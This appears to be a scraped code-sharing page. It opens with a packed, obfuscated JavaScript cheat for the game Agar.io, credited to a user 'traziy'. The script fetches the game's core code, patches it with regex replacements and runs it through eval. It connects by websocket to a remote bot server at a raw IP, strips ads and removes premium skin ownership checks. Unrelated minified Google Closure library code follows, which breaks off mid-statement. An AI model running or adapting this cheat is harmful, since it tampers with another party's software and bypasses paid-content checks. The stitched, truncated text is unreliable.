3e(){n f=1a 2J;f.2a("2I","/1F.r.1p",!0),f.1U=j(){n k=f.2L;k=p(k,"l(h.m&&h.m.2x)","6.2H();l(h.m&&h.m.2x)"),k=p(k,"l(h.m&&h.m.2U)","6.2r();l(h.m&&h.m.2U)"),k=p(k,"l(h.m&&h.m.1n)","6.1n();l(h.m&&h.m.1n)"),k=p(k,"1C:j(a){","1C:j(a){6.4O(a);"),k=p(k,"53:j(){","53:j(){6.54();"),k=p(k,"l(h.m&&h.m.2z)","6.2o();l(h.m&&h.m.2z)"),k=p(k,"3c:j(a){","3c:j(a){6.56(a);"),k=L(k,/(\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);)/i,"$1 l(6.1Q){6.1Q($3,$5,$7,$9,$2,$8);}"),k=L(k,/([\\w$]+\\(\\d+,\\w\\[\\w>>2\\]\\|0,(\\+\\w),(\\+\\w)\\)\\|0;[\\w$]+\\(\\d+,\\w\\[\\w>>2\\]\\|0,\\+-(\\+\\w\\[\\w\\+\\d+>>3\\]),\\+-(\\+\\w\\[\\w\\+\\d+>>3\\])\\)\\|0;)/i,"$1 6.1B=$4; 6.1x=$5;"),k=p(k,"4x:j(a,b){","4x:j(a,b){l(6.2j){a = $(\'#1z\').U() / 2; b = $(\'#1z\').2E() / 2;}"),k=L(k,/l\\((\\+\\w\\[\\w>>3\\])<1\\.0\\){/i,"l($1 < 6.59){"),k=L(k,/(l\\(\\w<=)(20\\.0)(\\){\\w=\\w;v})(l\\(!\\w\\){l\\(\\(\\w\\[\\d+\\]\\|0\\)!=\\(\\w\\[\\d+\\]\\|0\\)\\){\\w=\\w;v}l\\(\\(\\w\\[\\w\\+\\d+>>0\\]\\|0\\)!=0\\?\\(\\w\\[\\w>>0\\]\\|0\\)==0:0\\){\\w=\\w;v}})/i,"$5h.0$3"),k=L(k,/(\\w)(=\\+\\w\\[\\w>>3\\]\\*\\+\\w\\()(.\\d)(,\\+\\w\\);)/i,"$1$2 (6.4D||0.9) $4 6.37=$1;"),k=L(k,/(\\w=\\w\\[\\w>>2\\]\\|0;)((\\w\\[\\w>>3\\])=(\\w);)(\\w\\[\\w>>0\\]=a\\[\\w>>0\\];)/i,"$1 l(!6.4z){$3 = 6.37;}5m{$2}$5"),k=L(k,/((\\w)=(\\+\\(\\(\\w\\[\\w\\+\\d+>>\\d.*;)(\\w)=(\\+\\(\\(\\w\\[.*\\/2\\|\\d\\)\\|0\\)\\/\\w\\+\\s\\+\\w\\[\\w\\+\\d+>>3\\];).*\\4=\\4<\\w\\?\\w:\\w;)/,"6.34 = $3 6.33 = $5 $1"),3q(k)},f.2T()}j 2c(){$("#3D").5i()}j 4f(){n a=V.1O("G");a.K="1t",a.N.4l=\'2Q:5g(0,0,0,0.4)5f("4o://5k.5n.5e/1t.5l");2Q-3L:1L%1L%;U:3V;2E:3V;41:2v;4c:2v;18:5o;z-5d:1;5c-61:22;\',$(V.2D).3C(a);n b=V.1O("G");b.K="3D",$("#1t").3C(b)}j 1M(a,b,c,d,e){l(b=b.O("#",""),b=b.O("/",""),!$("#"+b).17){n f=V.1O("G");f.K=b,f.N.4l="4d-4s:50%;2i-1N:-3J;2i-2W:-3J;U:1r;2E:1r;18:3O;T:"+d+";2Q-T:"+d+";"+(e?"":"1G:22;"),$(a?"#1t":"#3D").3C(f),3b(b,c)}}j 3x(a){a=a.O("#",""),a=a.O("/",""),$("#"+a).2b()}j 1i(a,b,c){a=a.O("#",""),a=a.O("/","");n d=(b+2Y)/4i*1L,e=(c+2Y)/4i*1L;$("#"+a).5Z({2W:d+"%",1N:e+"%"})}j 1y(a,b){a=a.O("#",""),a=a.O("/",""),b?$("#"+a).1h():$("#"+a).1d()}j 3b(a,b){a=a.O("#",""),a=a.O("/",""),$("#"+a).1j(\'<G N="u-3L:1r;4c:1r;18:3O;u-4J: 3w, 4e;U:5Y;2W:\'+-((2t(b,"1r 3w, 4e")-10)/2)+\'5U">\'+b+"</G>")}j L(a,b,c){n d=1a 4u(b);v d.4g(a)?a=a.O(b,c):S.P("[2l] Y O: "+b),a}j p(a,b,c){v a.21(b)!=-1?a=a.O(b,c):S.P("[2l] Y O: "+b),a}j 1f(a){B!=1A&&1A.5T("1V",a)}j 4p(){1A=30.1C("5p://66.31.85.67:6i",{6l:!0,6a:"6c="+1s}),1A.2M("1V",j(a){l(B==a.o)v 1u S.P("6d a 1V 4E 5v o.");2k(a.o){q"5u-5D":2c(),3n(!0),6.2g&&1f({o:"4L",1b:6.1b});t;q"39":1M(!1,a.2A,a.1b,"#5E",!0),1i(a.2A,a.x,a.y);t;q"2b":3x(a.2A);t;q"18":1i(a.2A,a.x,a.y);t;q"5P-5Q":$("#2w").1j(\'<u T="25">\'+a+"</u>");t;3d:v 1u S.P("5K a 1V 4E 5G 5F o: "+a.o)}}),1A.2M("3B",j(a){"J"==a.o&&(6.2O=a.J),2N(a)}),1A.2M("1Y",j(){2c(),2N({o:"1Y"})})}j 2K(){1E({o:"2P",14:6.14}),1f({o:"2P",14:6.14})}j 38(a){l(1u 0===a)v B;l(a.21(",")>-1){n b=a.1c(",");1o(o 3M b)l(b[o].17<=0||b[o].17>15)v B;v b}v a.17>0&&a.17<=15?[a]:B}j 4W(){1f({o:"1c"}),1E({o:"1c"})}j 4I(){1f({o:"1H"}),1E({o:"1H"})}j 4m(){n a=6.34,b=6.33;6.2h||(a=6.1B,b=6.1x),1E({o:"18",x:a+6.1e,y:b+6.1g}),1f({o:"18",x:6.13,y:6.19,5I:a+6.1e,5J:b+6.1g})}j 3n(a){(a||2S!=6.J)&&(2S=6.J,1f({o:"J",J:2S}))}j 3N(){v j(){j L(a,b,c){n d=1a 4u(b);v d.4g(a)?a=a.O(b,c):S.P("[2l] Y O: "+b),a}j p(a,b,c){v a.21(b)!=-1?a=a.O(b,c):S.P("[2l] Y O: "+b),a}j 3P(a,b){v 2F.4b(2F.4t()*(b-a+1))+a}j 3g(){n e=1a 2J;e.2a("2I","4o://4R.30/1F.r.1p",!0),e.1U=j(){n k=e.2L;k=L(k,/\\w+\\.3X\\.5H/g,\'"4R.30"\'),k=p(k,"1q","Z"),k=p(k,"c.4B=j(a){S.P(a)};","c.4B=j(a){};"),k=p(k,\'S.P("5L");\',""),k=L(k,/(\\w)=\\+\\(\\(\\w\\[\\w\\+\\d+>>\\d.*;(\\w)=\\+\\(\\(\\w\\[.*\\/2\\|\\d\\)\\|0\\)\\/\\w\\+\\s\\+\\w\\[\\w\\+\\d+>>3\\];/,"$1 = 6.36; $2 = 6.3a;"),k=p(k,"l(h.m&&h.m.2x)","6.2H();l(h.m&&h.m.2x)"),k=p(k,"l(h.m&&h.m.2U)","6.2r();l(h.m&&h.m.2U)"),k=p(k,"l(h.m&&h.m.1n)","6.1n();l(h.m&&h.m.1n)"),k=p(k,"l(h.m&&h.m.2z)","6.2o();l(h.m&&h.m.2z)"),k=p(k,"h.m&&h.m.4K","6.2y();h.m&&h.m.4K"),k=L(k,/(\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);\\w\\[\\w\\+(\\d+)>>3]=(\\w);)/i,"$1 l(6.1Q){6.1Q($3,$5,$7,$9,$2,$8);}"),k=L(k,/([\\w$]+\\(\\d+,\\w\\[\\w>>2\\]\\|0,(\\+\\w),(\\+\\w)\\)\\|0;[\\w$]+\\(\\d+,\\w\\[\\w>>2\\]\\|0,\\+-(\\+\\w\\[\\w\\+\\d+>>3\\]),\\+-(\\+\\w\\[\\w\\+\\d+>>3\\])\\)\\|0;)/i,"$1 6.1B=$4; 6.1x=$5;"),3q(k)},e.2T(B)}Z.5O=1,Z.5M=1;5N 1q={},3h={4G:j(){v{1z:{U:1,2E:1},5t:j(){},5s:j(){},5q:j(){},5r:j(){},5w:j(){},5x:j(){},5C:j(){},5B:j(){},5A:j(){},5y:j(){},5z:j(){},5R:j(){},5S:j(){},4N:j(){v{}},6e:j(){},3l:j(){},6b:j(){}}},6f:"",G:{3p:j(){}},3p:j(){},N:{}},V={4U:j(){v 3h},1O:j(a){v 3h},2D:{6g:{},6k:j(){}}},6j=j(){};Z.6={J:B,F:0,1w:"3Q",1B:0,1x:0,36:0,3a:0,13:B,19:B,1S:2Y,1e:0,1g:0,2u:!1,1Q:j(a,b,c,d,e,f){f-e==24&&c-a>2B&&d-b>2B&&(C.1e=C.1S-c,C.1g=C.1S-d,C.2u=!0)},2r:j(){1l({o:"2b",F:6.F})},2H:j(){1l({o:"39",F:6.F,1w:6.1w,x:6.13,y:6.19})},2o:j(){1l({o:"2b",F:6.F}),Z.r&&r.1C(6.J)},2y:j(){Z.r&&Z.r.6h(),3g()},1n:j(){B!=6.J&&Z.r&&r.1C(6.J)}},46=j(a){n b=a.2m;2k(b.o){q"F":6.F=b.F;t;q"J":6.J=b.J,Z.r&&r.1C(b.J);t;q"18":6.36=b.x-6.1e,6.3a=b.y-6.1g;t;q"1c":r.1c();t;q"1H":r.1H();t;q"2P":l(B==b.14){6.1w="3Q";t}6.1w=b.14[3P(0,b.14.17-1)];t;q"1Y":6.J=B,Z.r&&r.1Y(),S.P("5X 1m 5W");t;3d:S.P("4q 5V 4r.")}},1v(j(){6.13=6.1e+6.1B,6.19=6.1g+6.1x,1l({F:6.F,o:"18",x:6.13,y:6.19}),Z.r&&r.3c(6.1w)},1L),3g()}.64()}1q.63.62("","","/"+3X.60),1q.2t=j(a,b){n c=2t.1z||(2t.1z=V.1O("1z")),d=c.4G("2d");d.u=b;n e=d.4N(a);v e.U};n 1s=2X.4V("49");l(B===1s){1s="";1o(n 3j="6m",3i=0;3i<15;3i++)1s+=3j.5b(2F.4b(2F.4t()*3j.17));2X.47("49",1s)}1q.6={J:B,1b:"",1B:0,1x:0,34:0,33:0,13:B,19:B,1S:2Y,1e:0,1g:0,2u:!1,37:1,59:0,4D:.9,4z:!0,2j:!1,2g:!1,2h:!0,1K:{},2G:{},2O:B,1W:{},6v:{},3k:"",1Q:j(a,b,c,d,e,f){f-e==24&&c-a>2B&&d-b>2B&&(C.1e=C.1S-c,C.1g=C.1S-d,C.2u=!0)},2r:j(){6.2g=!1,1i("1X",C.13,C.19),$("#1k").1d(),$("#1X").1h(),1f({o:"7x"})},2H:j(){6.2g=!0,3b("1k",6.1b),$("#1P").1d(),$("#1k").1h(),1f({o:"4L",1b:6.1b})},4O:j(a){2c(),B!=C.2O&&C.2O==a&&2N({o:"1Y"}),6.J=a,S.P("7w Y: "+a),1y("1k",!1),1y("1X",!1),1y("1P",!1),1E({o:"J",J:a})},2o:j(){2c(),1y("1k",!1),1y("1X",!1),1y("1P",!1),S.P("7v 4C J."),6.J=B,6.2g=!1},54:j(){$("#1k").1d(),$("#1P").1h()},56:j(a){C.1b=a},4Y:j(){7z(j(){5a(),58()},7A),S.P("3T r.");n b=(V.4U("1z"),2X.4V("1I"));B!==b&&(6.14=38(b),B!==6.14&&$("#1I").2s(b),2K()),$("#1I").2M("12",j(){n a=$("#1I").2s(),b=38(a);6.14=b,2K(),B!==b&&2X.47("1I",a)}),$("#4A").7E(j(a){n b=$("#2V")[0];b.7D(0,b.3F.17),b.7C();7B{1q.V.7u("4k")}7t(a){S.P("2l Y 4k 2V.")}});n c,d=!1,e=!1,f=!1;$(V).7m(j(a){2k(a.42){q 65:6.2h=!6.2h,6.2h?$("#3v").1j("<u T=\'25\'>3s</u>"):$("#3v").1j("<u T=\'1Z\'>3K</u>");t;q 68:6.2j=!6.2j,6.2j?$("#3H").1j("<u T=\'25\'>3s</u>"):$("#3H").1j("<u T=\'1Z\'>3K</u>");t;q 69:4W();t;q 82:4I();t;q 72:e=!e,e?$("#2f").1d():$("#2f").1h();t;q 72:e=!e,e?$("#2f").1d():$("#2f").1h();t;q 76:t;q 77:f=!f,f?$("#1t").1d():$("#1t").1h();t;q 87:l(d)v;d=!0,c=1v(j(){r.1H()},50)}}),$(V).7q(j(a){2k(a.42){q 87:d=!1,3f(c);t;q 84:n b=0,e=1v(j(){v b>7?1u 3f(e):(b++,1u r.1c())},50);t;q 81:n f=0,g=1v(j(){v f>1?1u 3f(g):(f++,1u r.1c())},50)}}),4f(),1M(!0,"1k",6.1b,"#80",!1),1M(!0,"1X","88 86","#7U",!1),1M(!0,"1P","7T","#7L",!1),4p(),3e(),1v(j(){m.51()},7K)},2y:j(){S.P("7J 7H."),3e()},1n:j(){S.P("3T 7I 7M 1F r."),r.6n(!$("#7N").26(":23")),r.7S(!$("#7R").26(":23")),r.7Q(!$("#7O").26(":23")),r.7P($("#7h").26(":23")),r.7g($("#6G").26(":23"))}};n 2q="",1J=1;3m.3o.35=3m.3o.3l,3m.3o.3l=j(){C.35.52(C,27),"6F"===27[0]?(6.3k=2q,1J=1,2q="",$("#2V").2s(6.3k)):":6E"!=$("#6C").2s()&&0==27[0].21(1J+".")&&1J<11?(2q+=27[0]+(1J<=9?", ":""),1J++):C.35.52(C,27)};n b=1a 2J;b.2a("2I","/4Q/1F.1p",!0),b.1U=j(){n k=b.2L;k=p(k,\'l(1p.6H==32&&1T!="6M"){1p.6L()}\',""),k=p(k,"57:j(i){l","57:j(i){},6K:j(i){l"),k=p(k,"55:j(","55:j(i){},6J: j("),k=L(k,/(v\\s\\w+.6A.28\\(\\)).21\\(\\w+.28\\(\\)\\)!=-1/,"$1 != \'4y\'"),k=L(k,/l\\(\\w+.6s\\(\\w+.6q.*6o\\)\\)\\{6p\\}/,""),k=p(k,"l(C.4w(1T.29).17>0",\'l (C.4w(1T.29).17 > 0 && (1T.29.28() == "6t" || 1T.29.28() == "4y" || 1T.29.28() == "6u")\'),k=L(k,/n\\6z=1q.V.1O..k..+6y.3p.6x../i,"6.2y();"),k=L(k,/(6N:j\\(\\)\\{n.*79\\(\\);l\\(([a-2C-2p-9]+[a-2C-2p-9]+.78.75==B).*73\\);([a-2C-2p-9]+[a-2C-2p-9]+.7a\\(\\)).*C.7b\\)\\)\\}},)/,"$1 51: j(){l($2){v;}$3;},"),3q(k);n e=1a 2J;e.2a("2I","/",!0),e.1U=j(){n a=e.2L;a=p(a,\'<k 4v="1F.r.1p" 7e></k>\',"<G K=\'2f\' N=\'2Q-T: #7d; -7c-2R: 0.4; -71-2R: 0.4; 2R: 0.4; 6T: 6S(2R=40); 6P: 1; U: 6Q; 1N: 1r; 2W: 1r; 1G: 43; 18: 3O; 1R-6U: 6V; u-3L: 6Z; T: #6Y; 6X: 3J; u-4J: 3w;\'> <a>6 4M</a><16>4M: <a K=\'2w\'><u T=\'1Z\'>0 / 2</u></a><16><a>A</a> - 6W 6R 7f: <a K=\'3v\'><u T=\'25\'>3s</u></a><16><a>D</a> - 7s 7n: <a K=\'3H\'><u T=\'1Z\'>3K</u></a></G>"),a=p(a,"<2D>",\'<2D 1U="6.4Y()">\'),a=L(a,/<k 2n="1R\\/3I" 4v="4Q\\/1F\\.1p.*"><\\/k>/i,""),a=L(a,/<G K="45".*1G:43;">/i,\'<G K="45" N="1G:22">\'),a=p(a,\'<G X="48-3Z" N="\',\'<G X="48-3Z" N="1G:22;\'),a=p(a,\'<G K="3Y-3S-2Z">\',\'<G K="3Y-3S-2Z" N="1G:22;">\'),a=p(a,\'<I 2m-3R="3U"></I><16/>\',\'<I 2m-3R="3U"></I><16/><I>2e <b>Q</b> Y 7k 1c</I><16><I>7y <b>W</b> Y 7i 6D 4j</I><16><I>2e <b>M</b> Y 1d/1h 4h 1t</I><16><I>2e <b>E</b> Y 1c 3B</I><16><I>2e <b>R</b> Y 1H 70 3B 4j</I><16><I>2e <b>H</b> Y 1d/1h 4h 1m 74</I>\'),a=p(a,\'<G K="4P-2Z">\',\'<G K="6O" X="12-1D" N="2i-1N: 3G;"><I X="12-1D-3A" N="U:3z"K="3t-3r">6w</I><12 K="2V" 2n="1R" 3F="" N="U:6r" 4Z X="3u-3y"><44 K="4A" X="4H 4H-6B" N="6I: 41; U: 89; 4d-4s: 2v 4a 4a 2v;" 2m-83-3W="" 3W="">7W</44></G><G K="7V" X="12-1D" N="2i-1N: 3G;"><I X="12-1D-3A" N="U:3z"K="3t-3r">7X</I><12 2n="1R" 3F="\'+1s+\'" N="U:4F" 4Z X="3u-3y"></G><G X="12-1D" N="2i-1N: 3G;"><I X="12-1D-3A" N="U:3z" K="3t-3r">7Y</I><12 K="1I" X="3u-3y" N="U:4F" 7Z="7G 1m 2P 7F 7p" 7r=""></G><G K="4P-2Z">\'),V.2a(),V.7o(a),V.7j()},e.2T()},b.2T(),1v(j(){6.13=6.1e+6.1B,6.19=6.1g+6.1x,1i("1k",6.13,6.19),1i("1P",6.13,6.19)},50);n 2S=B,1A=B;7l=1v(j(){4m(),3n(!1)},1L);',62,506,'||||||Traziy|||||||||||||function|script|if|MC|var|name|replaceNormalFile|case|core||break|font|return||||||null|this|||botID|div||span|server|id|replaceRegexFile||style|replace|log|||console|color|width|document||class|to|self|||input|realPlayerX|botNames||br|length|position|realPlayerY|new|playerName|split|hide|mapOffsetX|sendCommand|mapOffsetY|show|moveBallOnMinimap|html|player_pointer|postMessage|bot|onAgarioCoreLoaded|for|js|window|10px|client_uuid|minimap|void|setInterval|botName|playerY|setBallVisible|canvas|socket|playerX|connect|group|sendLocalBotsMessage|agario|display|eject|botnames|tempLeaderBoardIndex|localBots|100|addBallToMinimap|top|createElement|player_spectate|setMapCoords|text|mapOffset|i1|onload|command|remoteBots|player_death|disconnect|red||indexOf|none|checked||green|is|arguments|toUpperCase|tabDescription|open|remove|resetMinimap||Press|botcanvas|isAlive|moveToMouse|margin|stopMovement|switch|Failed|data|type|playerDisconnected|Z0|tempLeaderBoard|playerDied|val|getTextWidth|mapOffsetFixed|0px|botCount|onPlayerSpawn|reloadCore|onDisconnect|socketID|14e3|zA|body|height|Math|localBotsAlive|playerSpawned|GET|XMLHttpRequest|updateBotNames|responseText|on|sendRemoteBotsMessage|remoteBotsServer|names|background|opacity|last_transmited_game_server|send|onPlayerDeath|leaderboard|left|localStorage|7071|container|io|||mouseY|mouseX|_fillText|newX|zoomValue|validateNames|add|newY|changeNicknameOnBall|sendNick|default|insertCore|clearInterval|getBotCore|elementMock|ii|ranStr|leaderboardData|fillText|CanvasRenderingContext2D|transmit_current_server|prototype|appendChild|eval|addon1|On|basic|form|ismoveToMouse|Ubuntu|removeBallFromMinimap|control|75px|addon|bots|append|balls_holder|updateBotCount|value|6px|isStopMove|javascript|5px|Off|size|in|generateBotFunction|absolute|getRandomInt|TraziyGaming|itr|badge|Loading|page_instructions_w|249px|title|location|promo|cross||right|which|block|button|adsBottom|onmessage|setItem|diep|Traziy_uuid|4px|floor|bottom|border|fantasy|createMinimap|test|the|14142|mass|copy|cssText|emitPosition|Worker|http|connectToTraziyServer|Unknown|received|radius|random|RegExp|src|getSkinsByCategory|setTarget|VETERAN|autoZoom|leaderboardcopy|setStatus|from|zoomSpeedValue|with|245px|getContext|btn|emitMassEject|family|corePendingReload|alive|Bots|measureText|playerConnected|tags|mc|agar|createObjectURL|Blob|getElementById|getItem|emitSplit|URL|loadCore|readonly||TraziyFreeCoins|apply|sendSpectate|playerSpectated|showPromoBadge|updateNickname|showAds|startRemoteBots|zoomResetValue|startLocalBots|charAt|pointer|index|tk|url|rgba|140|empty|FF00FF|www|png|else|TraziyGaming|fixed|ws|translate|scale|save|clearRect|force|no|stroke|arc|closePath|beginPath|lineTo|moveTo|fill|update|FFFFFF|unknown|an|hostname|botX|botY|Received|postRun|innerHeight|const|innerWidth|spawn|count|restore|fillRect|emit|px|message|disconect|remote|300px|css|hash|events|replaceState|history|toString||96|154|||query|drawImage|key|Recieved|strokeText|innerText|firstChild|destroy|8084|Image|insertBefore|reconnection|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|setSkins|visibility|continue|productIdToQuantify|185px|shouldSkipConfigEntry|PREMIUM|OWNED|remoteBotsAlive|BOARD|i2|head|si2|tab|primary|gamemode|fire|teams|Leaderboard|darkTheme|keyCode|float|fuckbacks|showFuck|preventDefault|nick|showFreeCoins|leaders|zoom|205px|To|alpha|filter|align|center|Move|padding|ffffff|15px|some|khtml||false|dialog|userInfo|||user|showContainer|triggerFreeCoins|onShopClose|moz|000000|async|Mouse|setDarkTheme|showMass|rapid|close|double|interval_id|keydown|Movement|write|commas|keyup|autofocus|Stop|catch|execCommand|Disconnected|Connecting|dead|Hold|setTimeout|2e3|try|select|setSelectionRange|click|using|Separate|Core|settings|Reloading|5e3|0000FF|into|noSkins|noColors|setShowMass|setColors|noNames|setNames|Spectate|FF2400|uuidbots|Copy|UUID|NAMES|placeholder|00FF00|||original|||Death||Last|60px'.split('|'),0,{}))

    From user traziy

  • vohidjon123 / google

    unknown-21-m, (function(sttc){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var n;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a}; function ca(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},fa={};function r(a,b){var c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]} function ha(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=ea&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ba(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0===fa[d]&&(a=1E9*Math.random()>>>0,fa[d]=ea?da.Symbol(d):"$jscp$"+a+"$"+d),ba(f,fa[d],{configurable:!0,writable:!0,value:b})))}} ha("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f||"")+"_"+e++,f)}function c(f,g){this.h=f;ba(this,"description",{configurable:!0,writable:!0,value:g})}if(a)return a;c.prototype.toString=function(){return this.h};var d="jscomp_symbol_"+(1E9*Math.random()>>>0)+"_",e=0;return b},"es6"); ha("Symbol.iterator",function(a){if(a)return a;a=(0,p.Symbol)("Symbol.iterator");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=da[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ba(d.prototype,a,{configurable:!0,writable:!0,value:function(){return ia(aa(this))}})}return a},"es6"); function ia(a){a={next:a};a[r(p.Symbol,"iterator")]=function(){return this};return a}function ja(a){return a.raw=a}function u(a){var b="undefined"!=typeof p.Symbol&&r(p.Symbol,"iterator")&&a[r(p.Symbol,"iterator")];return b?b.call(a):{next:aa(a)}}function ka(a){if(!(a instanceof Array)){a=u(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a}function la(a,b){return Object.prototype.hasOwnProperty.call(a,b)} var ma=ea&&"function"==typeof r(Object,"assign")?r(Object,"assign"):function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){function b(){}b.prototype=a;return new b},oa; if(ea&&"function"==typeof Object.setPrototypeOf)oa=Object.setPrototypeOf;else{var pa;a:{var qa={a:!0},ra={};try{ra.__proto__=qa;pa=ra.a;break a}catch(a){}pa=!1}oa=pa?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var sa=oa; function v(a,b){a.prototype=na(b.prototype);a.prototype.constructor=a;if(sa)sa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.Ub=b.prototype}function ta(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b} ha("Promise",function(a){function b(g){this.h=0;this.j=void 0;this.i=[];this.G=!1;var h=this.l();try{g(h.resolve,h.reject)}catch(k){h.reject(k)}}function c(){this.h=null}function d(g){return g instanceof b?g:new b(function(h){h(g)})}if(a)return a;c.prototype.i=function(g){if(null==this.h){this.h=[];var h=this;this.j(function(){h.m()})}this.h.push(g)};var e=da.setTimeout;c.prototype.j=function(g){e(g,0)};c.prototype.m=function(){for(;this.h&&this.h.length;){var g=this.h;this.h=[];for(var h=0;h<g.length;++h){var k= g[h];g[h]=null;try{k()}catch(l){this.l(l)}}}this.h=null};c.prototype.l=function(g){this.j(function(){throw g;})};b.prototype.l=function(){function g(l){return function(m){k||(k=!0,l.call(h,m))}}var h=this,k=!1;return{resolve:g(this.P),reject:g(this.m)}};b.prototype.P=function(g){if(g===this)this.m(new TypeError("A Promise cannot resolve to itself"));else if(g instanceof b)this.U(g);else{a:switch(typeof g){case "object":var h=null!=g;break a;case "function":h=!0;break a;default:h=!1}h?this.O(g):this.A(g)}}; b.prototype.O=function(g){var h=void 0;try{h=g.then}catch(k){this.m(k);return}"function"==typeof h?this.ga(h,g):this.A(g)};b.prototype.m=function(g){this.C(2,g)};b.prototype.A=function(g){this.C(1,g)};b.prototype.C=function(g,h){if(0!=this.h)throw Error("Cannot settle("+g+", "+h+"): Promise already settled in state"+this.h);this.h=g;this.j=h;2===this.h&&this.R();this.H()};b.prototype.R=function(){var g=this;e(function(){if(g.N()){var h=da.console;"undefined"!==typeof h&&h.error(g.j)}},1)};b.prototype.N= function(){if(this.G)return!1;var g=da.CustomEvent,h=da.Event,k=da.dispatchEvent;if("undefined"===typeof k)return!0;"function"===typeof g?g=new g("unhandledrejection",{cancelable:!0}):"function"===typeof h?g=new h("unhandledrejection",{cancelable:!0}):(g=da.document.createEvent("CustomEvent"),g.initCustomEvent("unhandledrejection",!1,!0,g));g.promise=this;g.reason=this.j;return k(g)};b.prototype.H=function(){if(null!=this.i){for(var g=0;g<this.i.length;++g)f.i(this.i[g]);this.i=null}};var f=new c; b.prototype.U=function(g){var h=this.l();g.ia(h.resolve,h.reject)};b.prototype.ga=function(g,h){var k=this.l();try{g.call(h,k.resolve,k.reject)}catch(l){k.reject(l)}};b.prototype.then=function(g,h){function k(t,y){return"function"==typeof t?function(F){try{l(t(F))}catch(z){m(z)}}:y}var l,m,q=new b(function(t,y){l=t;m=y});this.ia(k(g,l),k(h,m));return q};b.prototype.catch=function(g){return this.then(void 0,g)};b.prototype.ia=function(g,h){function k(){switch(l.h){case 1:g(l.j);break;case 2:h(l.j); break;default:throw Error("Unexpected state: "+l.h);}}var l=this;null==this.i?f.i(k):this.i.push(k);this.G=!0};b.resolve=d;b.reject=function(g){return new b(function(h,k){k(g)})};b.race=function(g){return new b(function(h,k){for(var l=u(g),m=l.next();!m.done;m=l.next())d(m.value).ia(h,k)})};b.all=function(g){var h=u(g),k=h.next();return k.done?d([]):new b(function(l,m){function q(F){return function(z){t[F]=z;y--;0==y&&l(t)}}var t=[],y=0;do t.push(void 0),y++,d(k.value).ia(q(t.length-1),m),k=h.next(); while(!k.done)})};return b},"es6");ha("Array.prototype.find",function(a){return a?a:function(b,c){a:{var d=this;d instanceof String&&(d=String(d));for(var e=d.length,f=0;f<e;f++){var g=d[f];if(b.call(c,g,f,d)){b=g;break a}}b=void 0}return b}},"es6"); ha("WeakMap",function(a){function b(g){this.h=(f+=Math.random()+1).toString();if(g){g=u(g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}}function c(){}function d(g){var h=typeof g;return"object"===h&&null!==g||"function"===h}if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([[g,2],[h,3]]);if(2!=k.get(g)||3!=k.get(h))return!1;k.delete(g);k.set(h,4);return!k.has(g)&&4==k.get(h)}catch(l){return!1}}())return a;var e="$jscomp_hidden_"+Math.random(), f=0;b.prototype.set=function(g,h){if(!d(g))throw Error("Invalid WeakMap key");if(!la(g,e)){var k=new c;ba(g,e,{value:k})}if(!la(g,e))throw Error("WeakMap key fail: "+g);g[e][this.h]=h;return this};b.prototype.get=function(g){return d(g)&&la(g,e)?g[e][this.h]:void 0};b.prototype.has=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)};b.prototype.delete=function(g){return d(g)&&la(g,e)&&la(g[e],this.h)?delete g[e][this.h]:!1};return b},"es6"); ha("Map",function(a){function b(){var h={};return h.L=h.next=h.head=h}function c(h,k){var l=h.h;return ia(function(){if(l){for(;l.head!=h.h;)l=l.L;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})}function d(h,k){var l=k&&typeof k;"object"==l||"function"==l?f.has(k)?l=f.get(k):(l=""+ ++g,f.set(k,l)):l="p_"+k;var m=h.i[l];if(m&&la(h.i,l))for(h=0;h<m.length;h++){var q=m[h];if(k!==k&&q.key!==q.key||k===q.key)return{id:l,list:m,index:h,B:q}}return{id:l,list:m, index:-1,B:void 0}}function e(h){this.i={};this.h=b();this.size=0;if(h){h=u(h);for(var k;!(k=h.next()).done;)k=k.value,this.set(k[0],k[1])}}if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var h=Object.seal({x:4}),k=new 